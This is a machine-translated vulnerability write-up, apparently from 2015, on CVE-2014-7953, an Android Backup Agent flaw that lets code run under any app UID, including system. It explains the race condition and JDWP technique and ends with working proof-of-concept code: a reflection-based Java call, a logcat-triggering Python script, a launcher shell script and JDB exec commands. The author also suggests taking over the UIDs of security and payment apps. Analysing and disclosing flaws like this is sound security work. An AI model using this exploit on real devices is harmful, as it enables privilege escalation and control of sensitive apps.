Hqdvista · 2015/04/21 14:48

0 x00 the


Cve-2014-7953 is a privilege raising vulnerability in Android Backup Agent. The bindBackupAgent method in ActivityManagerService fails to validate the uid parameter passed in. In combination with another Race condition exploit technique, an attacker can execute code as any UID (application), including System (UID 1000). In this paper, the vulnerability is analyzed in detail, and EXP is given. Attack only if the need to have an android. Permission. BACKUP and INSTALL_PACKAGES, the adb shell is a meet the conditions of attack surface.

0x01 Background


BackupService is a backup function provided by Android. During a backup operation, the System’s BackupManager obtains specified backup data from the target application and sends it to the BackupTransport for data transmission. During a restore backup operation, BackupManager retrieves data from Transport and passes it to the target application for recovery. A common scenario is that the user’s application data is backed up to Google Cloud, and the data is automatically restored when the user logs in to a Google account on a new phone.

Of course, the application that wants to use the backup function must implement the BackupAgent component, inherit the BackupAgent or BackupAgentHelper class, declare itself in androidmanifest.xml, and register with a BackupService.

During backup or restoration, the BackupManager starts the target application process based on the BackupAgent and invokes its onCreate function to facilitate backup and restoration related to application logic.

0x02 Cause of Vulnerability


After the foreshadowing above, let’s look at the causes of this loophole. The bindBackupAgent function in ActivityManagerService is called when a restore is performed:

#! java // Cause the target app to be launched if necessary and its backup agent 12819 // instantiated. The backup agent will invoke backupAgentCreated() on the 12820 // activity manager to announce its creation. 12821 public boolean bindBackupAgent(ApplicationInfo app, int backupMode) { 12822 if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode); 12823 enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent"); 12824 12825 synchronized(this) { /*... */ 12833 // Backup agent is now in use, its package can't be stopped. 12834 try { 12835 AppGlobals.getPackageManager().setPackageStoppedState( 12836 app.packageName, false, UserHandle.getUserId(app.uid)); 12837 } catch (RemoteException e) { 12838 } catch (IllegalArgumentException e) { 12839 Slog.w(TAG, "Failed trying to unstop package " 12840 + app.packageName + ": " + e); 12841 } 12842 12843 BackupRecord r = new BackupRecord(ss, app, backupMode); 12844 ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL) 12845 ? new ComponentName(app.packageName, app.backupAgentName) 12846 : new ComponentName("android", "FullBackupAgent"); 12847 // startProcessLocked() returns existing proc's record if it's already running 12848 ProcessRecord proc = startProcessLocked(app.processName, app, 12849 false, 0, "backup", hostingName, false, false, false); 12850 if (proc == null) { 12851 Slog.e(TAG, "Unable to start backup agent process " + r); 12852 return false; 12853 } 12854 12855 r.app = proc; 12856 mBackupTarget = r; 12857 mBackupAppName = app.packageName; 12858 12859 // Try not to kill the process during backup 12860 updateOomAdjLocked(proc); 12861 12862 // If the process is already attached, schedule the creation of the backup agent now. 12863 // If it is not yet live, this will be done when it attaches to the framework. 12864 if (proc.thread ! = null) { 12865 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc); 12866 try { 12867 proc.thread.scheduleCreateBackupAgent(app, 12868 compatibilityInfoForPackageLocked(app), backupMode); 12869 } catch (RemoteException e) { 12870 // Will time out on the backup manager side 12871 } 12872 } else { 12873 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach"); 12874 } 12875 // Invariants: at this point, the target app process exists and the application 12876 // is either already running or in the process of coming up. mBackupTarget and 12877 // mBackupAppName describe the app, so that when it binds back to the AM we 12878 // know that it's scheduled for a backup-agent operation. 12879 } 12880 12881 return true; 12882}Copy the code

ActivityManagerService foreign by Binder exposes this interface, the beginning of course requirements. The caller must hold the android permission. BACKUP permissions, and the shell is holding the permissions. BindBackupAgent will eventually incoming attackers controllable ApplicationInfo passed to startProcessLocked, and eventually through its onCreate function called scheduleCreateBackupAgent.

The UID in ApplicationInfo can be arbitrarily specified, which is the root cause of this vulnerability.

0x02 Vulnerability exploited


However, there are several key problems that need to be circumvented in other ways to exploit this vulnerability.

SetPackageStoppedState Permission check


As you can see from the code, setPackageStoppedState is called before startProcessLocked to put the destination package that might be running in the Stopped state. This requires the originator of the Binder call to have CHANGE_COMPONENT_ENABLED_STATE permission, or a SecurityException will be thrown, terminating the function. Unfortunately, this is a system user only hold permissions, shell does not have, forced call will throw the following exception:

But you can observe that startPackageStoppedState gets caught when it throws an IllegalArgumentException, hits a log and continues, Then through the PackageManager install package race condition, or TOCTOU, can play a time difference.

Here’s one obscene step:

  • The PM installation package is invoked to call bindBackupAgent at some point during the installation.

  • StartPackageStoppedState, the package does not exist, throws IllegalArgumentException, is caught, and execution continues.

  • StartProcessRecord the package is already installed and starts with ApplicationInfo specified by the attacker.

Normally, when a package exists, the sequence is as follows:

When the package does not exist, the sequence is as follows. Process can be created at this point, but dies immediately because the code for load cannot be found. In very rare cases it may stay in the FC dialog box and can be exploited.

The sequence diagram used by TOCTOU is as follows:

The key here is timing, for example by expanding the size of classes.dex and increasing the length of Dexopt. The POC that was successfully tested on N7 was using a script to monitor logCat Copying native Libraries to trigger bindBackupAgent calls at this point, almost every time.

HandleCreateBackupAgent check

Follow the call chain:

#! java public final void scheduleCreateBackupAgent(ApplicationInfo app, 658 CompatibilityInfo compatInfo, int backupMode) { 659 CreateBackupAgentData d = new CreateBackupAgentData(); 660 d.appInfo = app; 661 d.compatInfo = compatInfo; 662 d.backupMode = backupMode; 663 664 sendMessage(H.CREATE_BACKUP_AGENT, d); 665 } public void handleMessage(Message msg) { //omit case CREATE_BACKUP_AGENT: 1337 Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent"); 1338 handleCreateBackupAgent((CreateBackupAgentData)msg.obj); 1339 Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER); 1340 break; //omit } // Instantiate a BackupAgent and tell it that it's alive 2428 private void handleCreateBackupAgent(CreateBackupAgentData data) { 2429 if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data); 2430 2431 // Sanity check the requested target package's uid against ours 2432 try { 2433 PackageInfo requestedPackage =  getPackageManager().getPackageInfo( 2434 data.appInfo.packageName, 0, UserHandle.myUserId()); 2435 if (requestedPackage.applicationInfo.uid ! = Process.myUid()) { 2436 Slog.w(TAG, "Asked to instantiate non-matching package " 2437 + data.appInfo.packageName); 2438 return; 2439 } 2440 } catch (RemoteException e) { 2441 Slog.e(TAG, "Can't reach package manager", e); 2442 return; 2443 } //omit 2448 // instantiate the BackupAgent class named in the manifest 2449 LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo); 2450 String packageName = packageInfo.mPackageName; //omit 2461 2462 BackupAgent agent = null; 2463 String classname = data.appInfo.backupAgentName; 2464 2465 // full backup operation but no app-supplied agent? use the default implementation 2466 if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL 2467 || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) { 2468 classname = "android.app.backup.FullBackupAgent"; 2469 } 2470 2471 try {! [Alt text](./Screenshot from 2015-04-20 15:50:21.png) 2472 IBinder binder = null; 2473 try { 2474 if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname); 2475 2476 java.lang.ClassLoader cl = packageInfo.getClassLoader(); 2477 agent = (BackupAgent) cl.loadClass(classname).newInstance(); 2478 2479 // set up the agent's context 2480 ContextImpl context = ContextImpl.createAppContext(this, packageInfo); 2481 context.setOuterContext(agent); 2482 agent.attach(context); 2483 2484 agent.onCreate(); 2485 binder = agent.onBind(); 2486 mBackupAgents.put(packageName, agent); 2487 } catch (Exception e) { 2488 //omit 2496 } //omit 2508 } 2509Copy the code

This function is the function of seek BackupAgent class defined in the Package, if there is no criterion with android. The app. Backup. The FullBackupAgent to replace, and perform its onCreate function.

If we control the process and uid is system, we can place our code in the onCreate function. Unfortunately, there is a check at the beginning, comparing the uid of the current process (note that the ActivityThread code is executed in the process space of the launched package, So process. myUid is the UID of the target package) and PackageManager record the UID during installation. If the uid does not match, log and exit. This kills the idea of changing the onCreate utilization.

However, JDWP comes to rescure. The process and VM are up, and the debuggable flag of the installation package is specified by the attacker. Then JDWP attaches the code and executes it.

0x03 Favorite Shell… ?


With luck, the System identity process has started.

If we open the test application again, we will see two same package processes with different UUIds, as shown below:

There are two scenarios:

  • The process starts with the UID of the system, but is an empty shell without instantiating or calling onCreate. This is the most common case.

  • The process starts with the UID of the system, and an Application Crash FC dialog box appears. Interestingly, this dialog is triggered in some rare cases by direct access to the backupAgent interface.

In both cases, the breakpoint triggered after attaching is different. For the first one, the thread blocks on nativePollOnce, as shown below:

One of the key factors used in this case is that the thread needs to break out of nativePollOnce, that is, it needs to receive a message before it can execute the code with a breakpoint. However, the weird thing is that the process is an empty shell with no GUI interface, and the normal operation and intent firing are ineffective. Wouldn’t that be an imposition? You need a non-GUI event, non-component event message that any ActivityThread will receive and fire to get out of this cycle. It can be done in a lewd way, and the reader can think about what might do the trick.

The second type will break handleApplicationCrash because of the exception catch. This is easier to handle.

In short, we use IntelliJ or JDB as the carrier, through JDWP can be system permissions or other UID identity to execute code.

Attached effect screenshot:

system:

Of course, we can also change into what XX guard ah, XX money shield, XX Fu Bao process UID, so as to control these sensitive applications. Attached is the screenshot of XX guard:

As you can see, our application is already in bed with the same UID as the XX Guard, so it’s up to your imagination to play with it.

0 POC x04 parts:


myapp:

#! java public class Test { public static void main(String []args) { test(Integer.parseInt(args[0])); } public static void test(Integer uid) { try { Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative"); Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault"); Object iActivityManager = bindBackupAgent.invoke(null); Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class); ApplicationInfo applicationInfo = new ApplicationInfo(); applicationInfo.dataDir = "/data/data/com.example.myapp"; applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1"; applicationInfo.processName = "com.example.myapp"; applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk"; applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk"; applicationInfo.taskAffinity = "com.example.myapp"; applicationInfo.packageName = "com.example.myapp"; applicationInfo.flags = 8961606; applicationInfo.uid = uid; bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); }}}Copy the code

Compile it into a JAR and execute it through app_process. If myApp is not installed, INSTALL_FAILED_UID_CHANGED will fail. See the denial-of-app analysis I wrote earlier.

Monitor py script:

#! python from subprocess import Popen, PIPE import os KW = "Copying native libraries to " #KW = "dexopt" os.system("adb logcat -c") p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1) with p.stdout: for line in iter(p.stdout.readline, b''): if line.find(KW) ! = -1: print line os.system("adb shell /data/local/tmp/test.sh 1000") p.wait()Copy the code

test.sh

#! bash export ANDROID_DATA=/data/local/tmp/ export CLASSPATH=/data/local/tmp/MyTest.jar app_process /data/local/tmp/ com.example.MyTest $@Copy the code

JDB command:

#! java threads thread 0xxxxxx suspend stop in android.os.MessageQueue next run print new java.lang.Runtime.exec("id")Copy the code

0 x05 repair:


Google’s fix for this vulnerability is very simple. It verifies the FULL_BACKUP system-level permissions on the bindBackupAgent interface and cuts off the original entry.

References:

  • http://www.securityfocus.com/archive/1/535296/30/0/threaded
  • http://www.saurik.com/id/17
  • http://androidxref.com/4.4.4_r1/xref/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java#128 22
  • http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.2_r1/android/os/MessageQueue.java #MessageQueue.nativePollOnce%28int%2Cint%29